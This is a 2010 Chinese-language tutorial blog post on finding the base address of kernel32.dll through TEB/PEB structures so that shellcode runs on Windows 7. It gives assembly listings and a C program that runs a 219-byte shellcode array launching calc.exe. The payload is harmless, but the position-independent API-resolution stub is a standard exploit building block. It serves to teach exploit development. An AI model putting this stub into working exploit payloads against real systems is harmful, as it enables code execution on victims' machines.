Win 7 下定位 kernel32.dll 基址及 shellcode 编写

Title: Win 7 下定位 kernel32.dll 基址及 shellcode 编写
Author：Cryin
Data：2010.10.14

为了使 shellcode 在多种操作系统平台下都可以正常运行，就不得不动态的定位 kernel32.dll 的基地址。而被广泛使用的一种方法是通过 TEB/PEB 结构获取 kernel32.dll 基地址，我个人第一次接触是通过绿盟月刊的一篇文章“通过 TEB/PEB 枚举当前进程空间中用户模块列表”方才知道这种被众多编程人员使用的方法。至于这个方法的最原始出处该文作者也未提及。只得知 29A 杂志杂志也有大量使用该技术。这种方法适用于除 Win7 以外的所有 windows 操作系统包括 95/98/ME/NT/2K/XP，大小只有 34 bytes，下面是其原理及实现代码；

利用 PEB 结构来查找 kernel32.dll 的原理：FS 段寄存器作为选择子指向当前的 TEB 结构，在 TEB 偏移 0x30 处是 PEB 指针。而在 PEB 偏移的 0x0c 处是指向 PEB_LDR_DATA 结构的指针，位于 PEB_LDR_DATA 结构偏移 0x1c 处，是一个叫 InInitialzationOrderModuleList 的成员，他是指向 LDR_MODULE 链表结构中，相应的双向链表头部的指针,该链表加载的 DLL 的顺序是 ntdll.dll，kernel32.dl，因此该成员所指的链表偏移 0x08 处为 kernel32.dll 地址。

获取 KERNEL32.DLL 基址汇编实现代码：

```
assume fs:nothing                ;打开 FS 寄存器
mov eax,fs:[30h]                 ;得到 PEB 结构地址
mov eax,[eax + 0ch]              ;得到 PEB_LDR_DATA 结构地址
mov esi,[eax + 1ch]              ;InInitializationOrderModuleList
lodsd                            ;得到 KERNEL32.DLL 所在 LDR_MODULE 结构的 ,InInitializationOrderModuleList 地址
mov edx,[eax + 8h]               ;得到 BaseAddress，既 Kernel32.dll 基址
```

但非常可惜的是这种方法在 Win7 下是不适用的，所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位 kernel32.dl 的基地址，该方法可以在所有 windows 版本上适用！这种方法通过在 InInitializationOrderModuleList 中查找 kernel32.dll 模块名称的长度来定位它的基地址，因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位 kernel32.dll 的地址；

具体代码实现方法：

```
;find kernel32.dll

find_kernel32:
        push esi
        xor ecx, ecx
        mov esi, [fs:ecx+0x30]
        mov esi, [esi + 0x0c]
```

```
        mov esi, [esi + 0x1c]

next_module:
        mov eax, [esi + 0x8]
        mov edi,[esi+0x20]
        mov esi ,[esi]
        cmp [edi+12*2],cx
        jne next_module
        pop esi
Ret
```

通过我的测试，这种利用该方法编写的 shellcode 可以在 32 位平台 Windows 5.0-7.0 的所有版本上适用，下面是经我测试在 win 7 下实现执行 calc.exe 的 shellcode，shellcode 本身写的很粗糙只为验证该方法的可用性！

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
unsigned char shellcode[219] = {
0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7,
0xE9,
0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
```

感谢看雪朋友的回复和意见，并感谢 riusksk 对于此方法的验证，具体可以查看看雪论坛 riusksk 的回复。今天 snowdbg 大牛来了大概聊了下漏洞方面的学习，让我倍受鼓舞！漏洞方面我是新手，还需不断学习，我深信技术的提升总是通过一次一次的更新的认知！发现自己的不足，不断进步！这才是我一直关注看雪的原因！

参考链接：

http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/

http://code.google.com/p/w32-exec-calc-shellcode/

看雪链接：

http://bbs.pediy.com/showthread.php?t=122260